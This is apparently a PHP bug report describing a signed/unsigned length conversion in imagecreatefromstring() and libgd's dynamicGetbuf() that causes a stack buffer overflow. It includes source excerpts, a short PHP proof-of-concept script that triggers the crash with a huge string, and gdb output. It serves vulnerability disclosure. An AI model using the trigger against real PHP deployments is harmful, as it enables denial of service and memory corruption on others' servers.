Description:
------------
1) imagecreatefromstring() takes in a string and attempts to convert it into an image. The string is in the variable "data" and the length is stored as size_t (unsigned) within a zend_string structure as seen below. When passed into gdNewDynamicCtxEx(), it gets converted implicitly into an int (signed). If the MSB of the size_t is 1, when converting to an int, this becomes a negative number.

_php_image_create_from_string(...) at php-7.0.11/ext/gd/gd.c:2227	io_ctx = gdNewDynamicCtxEx(Z_STRLEN_P(data), Z_STRVAL_P(data), 0);


2) Tracing the code deeper, the size is set to dp (dynamicPtr) below

allocDynamic(...) at ext/gd/libgd/gd_io_dp.c:272

280                 dp->logicalSize = initialSize;




3) During the image conversion, dynamicGetchar() gets called to read 1 byte (line 257).

dynamicGetchar(..) at ext/gd/libgd/gd_io_dp.c

	254             unsigned char b;
	255             int rv;
	256
	257             rv = dynamicGetbuf (ctx, &b, 1);



4) Tracing into dynamicGetbuf(), because "remain" (line 236) is negative due to the int conversion, line 243 gets executed and more than 1 byte will be memcpy (line 246). This memcpy would copy bytes to "bu"f which is 1-byte char on the stack. This results in a stack buffer over flow.

dynamicGetbuf (gdIOCtxPtr ctx, void *buf, int len) at ext/gd/libgd/gd_io_dp.c:237

236             remain = dp->logicalSize - dp->pos;
237             if (remain >= len) {
238                     rlen = len;
239             } else {
240                     if (remain == 0) {
241                             return EOF;
242                     }
243                     rlen = remain;
244             }
245
246         memcpy(buf, (void *) ((char *) dp->data + dp->pos), rlen);



Test script:
---------------
<?php
ini_set('memory_limit',-1);
$var_3  =  str_repeat("A",4294967286);
$var_3[0]="\x00";
$var_3[1]="\x00";
$var_3[2]="\x00";
$var_3[3]="\x00";
$var_3[4]="\x00";
$var_3[5]="\x00";
$var_3[6]="\x00";
$var_3[7]="\x00";
imagecreatefromstring($var_3);

?>


$> ./php-7.0.11 test.php
Segmentation fault



*Note that I trigger this via "WBMP" processing. But it could be triggered via any other format such as GD2, GIF etc.

Actual result:
--------------
Segfault and corrupted stack


Stopped reason: SIGSEGV
__memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:154
154     in ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S
gdb-peda$ bt
#0  __memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:154
#1  0x00000000006760b4 in dynamicGetbuf (ctx=0x7fffec402000, buf=0x7fffffffa5f3, len=0x1) at /root/php-7.0.11/ext/gd/libgd/gd_io_dp.c:246
#2  0x06000000026760ff in ?? ()
#3  0x0000000000000000 in ?? ()